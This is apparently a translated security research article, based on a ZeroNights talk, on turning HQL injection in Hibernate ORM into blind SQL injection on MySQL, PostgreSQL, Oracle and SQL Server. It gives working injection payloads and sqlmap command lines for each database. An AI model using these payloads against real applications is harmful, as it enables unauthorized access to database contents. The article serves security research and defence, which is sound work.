📜 ⬆️ ⬇️

Exploitation of injections in Hibernate ORM

image
A report on this topic was presented at the ZeroNights 0x05 conference on the FastTrack section. The work turned out to be very relevant and aroused great interest, since lately the problem of operating HQL injections has interested many security researchers specializing in web security . Therefore, I decided to write an article that reveals additional details to better understand the results of the work.

Modern applications written in the Java language, as a rule, work with the DBMS not directly, but use the Java Persistence API (JPA). JPA is an API that has been added to the Java SE and Java EE platforms since Java version 5, so that it is convenient to save Java objects to the database and retrieve them from the database. There are a large number of ORM libraries (ORM - Object-Relational Mapping) for JAVA, which implement the JPA specification. To date, the latest version of the specification 2.1.

One of the popular ORM libraries is Hibernate ORM . Hibernate is currently a RedHat project. WildFly and JBoss application servers use Hibernate as the ORM.
')
Hibernate ORM uses the object-oriented query language Hibernate Query Language (HQL) to write queries to Hibernate entities that are stored in the database.

HQL injection


To transfer parameters to the HQL query, named parameters or positional parameters are used. Below is an example of passing a parameter to an HQL query using named parameters. The name parameter is passed to the HQL query.

 public List<Post> getByName_Secure(String name) { Query query = em.createQuery("SELECT p FROM Post p where p.name=:name", Post.class); query.setParameter("name", name); return (List<Post>) query.getResultList(); } 

A developer, through ignorance or misunderstanding, may try to pass the name parameter directly to the HQL query using concatenation, instead of using parameter binding, as shown above. In this case, the code contains a HQL injection (HQLi). Below is an example of unsafe code.

 public List<Post> getByName_Insecure(String name) { Query query = em.createQuery("SELECT p FROM Post p where p.name='" + name + "'", Post.class); return (List<Post>) query.getResultList(); } 

When using HQLi, an attacker will not be able to read the contents of tables that are different from the post table to which the Post class is mapped. When accessing a table in a subquery that is not related to an entity, a HibernateQueryException exception is generated and the query is not further processed.

 package hqli.persistent; import javax.persistence.*; @Entity @Table(name = "post") public class Post { … } 

This is a serious obstacle in the operation of HQLi, if, of course, the entity-class is not associated with a table that stores the data used by the application for authentication or authorization.

Researcher @PaulWebSec wrote the HQLmap utility for exploiting HQLi. The utility implements blind and error-based techniques for operating HQLi, but allows you to retrieve data only from related tables.

Another researcher @ h3xstream wrote an article about HQLi technology. This article describes the basic techniques of operation, which also do not allow access to the database tables that are not related to the entity.

Purpose of the study


The main goal is to get access to all database tables that are available to the current database user. Those. find the ability to exploit HQLi as a SQL injection (SQLi).

The main task of the Hibernate ORM is to convert the HQL query into a SQL query. HQL to SQL conversion takes place in three steps:
  1. Parsing an HQL query using ANTLR using the following grammar . The result of the parsing is HQL-AST ( AST - Abstract syntax tree ).
  2. Convert HQL-AST to SQL-AST. Just at this stage it is checked that the HQL query refers only to related tables.
  3. Converting SQL-AST to SQL-query, which will be sent to the DBMS.

We can reformulate the goal as follows: we need to find an HQL subquery that will allow the entire HQL query to go through the conversion stages 1 and 2, and, most importantly, allow us to access the table that is not related to the entity in step 3. I would like to find HQL-subqueries with the specified property for popular relational DBMS: MySQL, Postgresql, Oracle and Microsoft SQL Server.

Research methods


The first thing was written the vulnerable application that was used for the experiments, it is available here . The application accepts a URL parameter that is passed as an argument to the vulnerable getByName_Insecure function.

This application has been deployed to the WildFly application server. For the application server, JDBC drivers were installed for the following DBMS: MySQL, Postgresql, Oracle and Microsoft SQL Server. Using the Datasource property set named HQLiDS, the application was connected to different DBMS.

The Hibernate logging level was set to Debug so that HQL and its corresponding SQL queries are written to the application server logs.

HQL grammar features and HQL-AST to SQL-AST conversion features were studied. These features allowed for each of the DBMS to find the operation technique.

HQLi operation in MySQL


The technique of operation is based on the fact that in Hibernate and MySQL differently occurs exaping quotes in strings. In order to use a quote in a string in Hibernate, you need to double it. In order to use a quote in a string in MySQL, you need to escape it with a slash.

 # Hibernate 'String with '' symbol' # MySQL 'String with \' symbol' 

What happens if we pass \'' in the string (a slash and then two quotes)? Those. if, as the name parameter, we pass the following value to the vulnerable getByName_Insecure method.

 dummy\'' or 1<length((select version())) -- 

Hibernate will see the string because slash is a normal character for Hibernate and a double quote is a screened quote. Thus, the resulting HQL query will go through the conversion stages 1 and 2. On the contrary, MySQL will see a screened quote \' and an unscreened quote that terminates the string and the rest of the value of the parameter or 1<length((select version())) -- will be accepted DBMS as a SQL expression.

In this case, the HQL injection can be exploited using the sqlmap utility as follows.

 sqlmap -u "http://192.168.66.10:8080/app/dummy%5C%27%27%20or%201%3Clength%28%28select%20version%28%29%20from%20dual%20where%201=1*%29%29%20--%20" --dbms="MySQL" --technique B -b -v 0 

This technique was shown at the SYNACTIV conference by a researcher @_unread_ before our performance at ZeroNights. Here is the link to the presentation .

HQLi operation in Postgresql


For Postgresql, the quotes trick doesn't work, because Postgresql escapes quotes in the same way as Hibernate.

Hibernate allows you to call any DBMS functions and transfer arbitrary identifiers as parameters to these functions. Postgresql has a useful function query_to_xml('select 1',…) , which allows you to execute an arbitrary SQL query, which is passed to it as the first parameter. The function returns an XML object. In order to use query_to_xml for exploitation, it is necessary to wrap it additionally in calls to the array_upper and xpath functions. If the SQL query query_to_xml in query_to_xml returns one or more rows, then this construct will return the value 1 .

 array_upper(xpath('row',query_to_xml('SQL', true, false,'')),1) 

The query select 1 where 1337>1 returns a single string, so the expression returns the value 1 .

 postgres=# select array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1); array_upper ------------- 1 (1 row) 

The select 1 where 1337<1 query returns zero rows, so the expression does not return the value 1 .

 postgres=# select array_upper(xpath('row',query_to_xml('select 1 where 1337<1', true, false,'')),1); array_upper ------------- (1 row) 

Ultimately, we can exploit HQLi using sqlmap as follows.

 sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20array_upper%28xpath%28%27row%27%2Cquery_to_xml%28%27select%201%20where%201337%3E1*%27%2Ctrue%2Cfalse%2C%27%27%29%29%2C1%29%3D1%20and%20%271%27%3D%271" --dbms="PostgreSQL" --technique B -b -v 0 

A video that shows the operation of HQLi for Postgresql DBMS is available here .

Operating HQLi in Oracle


For Oracle, HQLi operation is similar to its operation in Postgresql. In Oracle, the DBMS_XMLGEN.getxml('SQL') function allows you to execute any SQL query and returns a CLOB . In order to use the DBMS_XMLGEN.getxml function for operation, it is necessary to wrap it with calls to the functions NVL and TO_CHAR . If the SQL query passed to DBMS_XMLGEN.getxml returns zero rows, the following construct returns the value '1' .

 NVL(TO_CHAR(DBMS_XMLGEN.getxml('SQL')),'1') 

Using the sqlmap exploitation of HQLi in the Oracle DBMS is as follows.

 sqlmap -u "http://hqli.playground.local:8080/hqli.playground/dummy%27%20and%20NVL(TO_CHAR(DBMS_XMLGEN.getxml(%27select%201%20from%20dual%20where%201337>1*%27)),%271%27)!= %271%27%20and%20%271%27=%271" --dbms="Oracle" --technique B -b -v 0 

Operation HQLi in Microsoft SQL Server


For Microsoft SQL Server DBMS, the quotes trick does not work. Functions like query_to_xml and query_to_xml missing in the DBMS.

In this case, HQLi exploitation is based on the fact that Hibernate allows the use of Unicode characters in function names and parameter names that are passed to the function. At the same time, SQL Server DBMS allows the use of Unicode characters like No-break spac (U+00A0) or Ideographic space (U+3000) as spaces. Thus, the following two queries are valid and equivalent in SQL Server.

 select top1 uname from postusers select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers 

Thus, if we pass the following value as a parameter to the vulnerable method.

 dummy' or 1<LEN([U+00A0](select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers)) or '1'='1 

Hibernate sees the call to the function Len , inside which the function with the name [U+00A0] and to which the next parameter is passed as an argument.

 select[U+00A0]top[U+00A0]1[U+00A0]uname[U+00A0]from[U+00A0]postusers 

From the point of view of Hibernate, everything seems normal, since Hibernate allows you to call any functions and pass any variables to them as parameters. HQL query successfully passes the stages of conversion 1 and 2.

SQL Server will see an additional subquery that accesses the postusers table, since [U+00A0] perceived as a space.

 dummy' or 1<len((select top 1 uname from postusers)) or '1'='1 

Exploiting HQLi using sqlmap directly will not work. In this regard, a Perl script was written that can extract table names in the current database, extract column names for the selected table, and finally dump the selected table. A video that demonstrates how the Perl script works is available here . Perl script is available here .

Conclusion


New techniques were found that allow HQLi to be exploited as blind SQLi for popular DBMSs. This equates the danger of any HQLi to the danger of SQLi.

Exploitation techniques work because of the peculiarities of HQL query parsing and the peculiarities of converting HQL-AST to SQL-AST:
  1. Escaping quotes in a string is done by doubling them. In MySQL DBMS, quotation escaping is done differently (using the slash symbol).
  2. It is possible to use any names for the called functions. In HQL, you can call the query_to_xml function for Postgresql and the query_to_xml function for Oracle.
  3. It is possible to use Unicode characters in the names of called functions and the names of parameters passed to them. You can use the symbols No-break spac (U+00A0) or Ideographic space (U+3000) , which are interpreted as a space in Microsoft SQL Server.

Presentation from performance on ZeroNights 0x05.

Source: https://habr.com/ru/post/272589/


All Articles